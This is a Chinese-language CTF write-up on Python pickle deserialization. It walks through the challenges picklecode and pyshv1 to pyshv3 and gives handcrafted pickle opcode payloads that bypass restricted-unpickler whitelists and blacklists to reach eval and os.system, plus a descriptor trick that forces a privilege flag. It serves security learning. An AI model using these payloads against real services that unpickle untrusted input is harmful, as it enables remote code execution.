从几道题目学习python反序列化

个人认为,python不管是ssti,反序列化都是围绕模块进行展开的,万变不离其宗。沙箱绕过的核心思想是,在给定的模块中,理解对象于对象之前的关系,挖掘模块中存在的可用方法,通过overrides,fuzz等方法,换种手法获取我们想要的模块及方法,绕过沙箱的限制。

picklecode

Reference: phithon

利用格式化字符串漏洞获取key,我就跳过了,这里主要记录python序列化的部分。

serialize.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

这里利用RestrictedUnpickler这个类作为序列化时使用的过程类,并且利用黑名单方式,过滤了一些模块、方法,限定了只能用builtins模块,这个模块,是所有模块共用的一个字典 。

思路:

1
2
3
__builtins__.getattr(__builtins__.dict,'get')
dict.get(__builtins__.globals(),"builtins")//拿到builtins
__builtins__.getattr(dict.get(__builtins__.globals(),"builtins"),"eval")('__import__("os").system("whoami")')

PVM操作码:

  • c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
  • (:压入一个标志到栈中,表示元组的开始位置
  • 0:弹出栈项的元素并丢弃
  • t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • p:将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
  • g:把memo的第n个位置的元素复制到栈顶
  • V、S:向栈顶压入一个(unicode)字符串
  • s :从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
  • . :表示整个程序结束

反序列流程:

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

例如,序列化后的字符串:

1
2
3
4
c__builtin__
file
(S'/etc/passwd'
tR

开始的 c 代表引入模块以及对象:__builtin__.file

接着 表示在栈中放入一个元组开始的标志

然后 S 表示向栈插入一个字符串:/etc/passwd

再然后 t 表示从栈顶开始,到第一个 标记中间的内容弹出,组成一个元组,再压入栈中

最后 R 表示从栈顶弹出两个元素,一个是可执行对象,一个是元组。元组作为可执行对象的参数列表,执行后结果压入栈上。这里执行的是: __builtin__.file('/etc/passwd')

5

不要忘记,在程序最后要有一个操作符 . 表示整个程序结束

构造 opcode :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

7

pyshv1

Reference: smi1e

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3 -u

import securePickle as pickle
import codecs


pickle.whitelist.append('sys')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

securePickle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

这里采用了python提供的RestrictedUnpickler类作为反序列化类,重写 find_class,允许使用的模块只有 sys,而且pickle.unpickler.find_class也是依赖sys.modules

所以我们最终调用的是getattr(sys.modules['sys'],name),因此我们的思路是将sys.modules['sys']变成我们需要的模块。sys.modules是一个字典,包含从python开始运行起被导入的所有模块。所以我们可以构造:

1
2
3
4
5
6
modules=sys.modules
sys.modules['sys']=sys.modules
import sys
modules['sys']=sys.get('os')
import sys
sys.system('whoami')

构造 opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
csys
modules #sys.modules
p1 #memo[1]=sys.modules
0g1
S'sys' #sys.modules['sys']
g1 #sys.modules['sys']=sys.modules
scsys
get
(S'os'
tRp2
0S'sys'
g2 #modules['sys']=sys.get('os') 拿到os模块,下面就是执行命令
scsys
system
(S'whoami'
tR.

pyshv2

server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3 -u

import securePickle as pickle
import codecs


pickle.whitelist.append('structs')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {
'help': self.cmd_help,
'flag': self.cmd_flag,
}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
print("Not Implemented QAQ")


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

securePickle.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

structs.py是空的

v2与v1的区别是这里只能导入structs模块,并且都由__import__导入。

这里可以发现,__import__字典,__builtins__的一个内置函数。

因此我们可以通过structs.__builtins__来重写__import__这里的思路是,将__import__改为 structs.__getattribute__,将__builtins__改为__builtins__ 这样执行 __import__('structs')就可以获得__builtins__模块调用我们想要的函数了。

1
2
3
4
5
6
from structs import __dict__
from structs import __builtins__
from structs import __getattribute__
__builtins__['__import__'] = __getattribute__
__dict__['structs'] = __builtins__
__import__('structs')['eval']('print("success")')

同样,构造 opcode ,但是这个的__builtins__是一个字典,想要拿到eval需要使用dict.get获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cstructs
__dict__
p1 #memo[1]=structs.__dict__
0cstructs
__builtins__
p2 #memo[2]=structs.__builtins__
0cstructs
__getattribute__
p3 #memo[3]=structs.__getattribute__
0g2
S'__import__'
g3 #__builtins__['__import__'] = structs.__getattribute__
sg1
S'structs'
g2 #__dict__['structs'] = structs.__builtins__ 拿到__builtins__
scstructs
get
p4
(S'eval' #通过dict.get拿到eval
tR(S'print("success")'
tR.

pyshv3

server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import os


pickle.whitelist.append('structs')


class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}

def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_whoami(self):
print(self.user.name, self.user.group)

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
pysh = Pysh()
pysh.run()

securePickle.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

structs.py:

1
2
3
4
5
6
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''

这里的structs.py多了一个User类,可导入模块还是structs,但他只提供了whoamiflagsu几个命令,在server.py中可以看到获得flag的前提是privileged=true,但是对象在反序列化之后,privileged被赋值为false这里思路是利用python描述器:

例如:

这里重载了User类的__set__方法, 将User实例赋值给User类的privileged属性,所以当我们对 a.privileged赋值时,就会出发set方法,这里 set方法赋值给User,所以a.privileged并不会被赋值

构造opcode :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cstructs
User
p0
(N}S"__set__"
g0
stbg0 #structs.User (None,{"__set__":structs.User})
(S"guess"
S"guess"
tRp1 #User('guess','guess')
g0
(N}S"privileged"
g1
stbg1 #structs.User (None,{"privileged":User('guess','guess')})
.

后记

断断续续的,花了一些时间接触了一个全新的知识,学到了很多。